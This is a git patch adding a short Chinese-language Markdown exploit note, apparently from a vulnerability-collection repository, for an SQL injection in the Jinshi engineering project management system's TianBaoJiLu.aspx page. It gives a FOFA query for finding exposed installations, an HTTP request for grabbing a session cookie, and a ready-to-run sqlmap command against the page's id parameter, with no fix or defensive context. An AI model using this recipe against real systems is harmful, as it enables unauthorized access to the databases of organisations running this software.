From 27506bd22bfb0136de1ed46c6e265aacd1a8b9a1 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 28 Mar 2024 19:33:51 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E9=87=91=E7=9F=B3=E5=B7=A5=E7=A8=8B?= =?UTF-8?q?=E9=A1=B9=E7=9B=AE=E7=AE=A1=E7=90=86=E7=B3=BB=E7=BB=9FTianBaoJi?= =?UTF-8?q?Lu.aspx=E5=AD=98=E5=9C=A8SQL=E6=B3=A8=E5=85=A5=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞.md | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 金石工程项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞.md diff --git a/金石工程项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞.md b/金石工程项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞.md new file mode 100644 index 0000000..8084ddf --- /dev/null +++ b/金石工程项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞.md @@ -0,0 +1,21 @@ +## 金石工程项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞 + +## fofa +``` +body="金石工程项目管理系统" +``` + +## 先获取cookie(响应包Set-Cookie) +``` +GET / HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 +Connection: close +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded +``` + +### sqlmap跑注入 +``` +sqlmap -u "http://ip/query/shigongjihuajindu/TianBaoJiLu.aspx?id=1" --batch --cookie 'ASP.NET_SessionId=pcqx2zs4gsnqprd5cvhtodmk' +```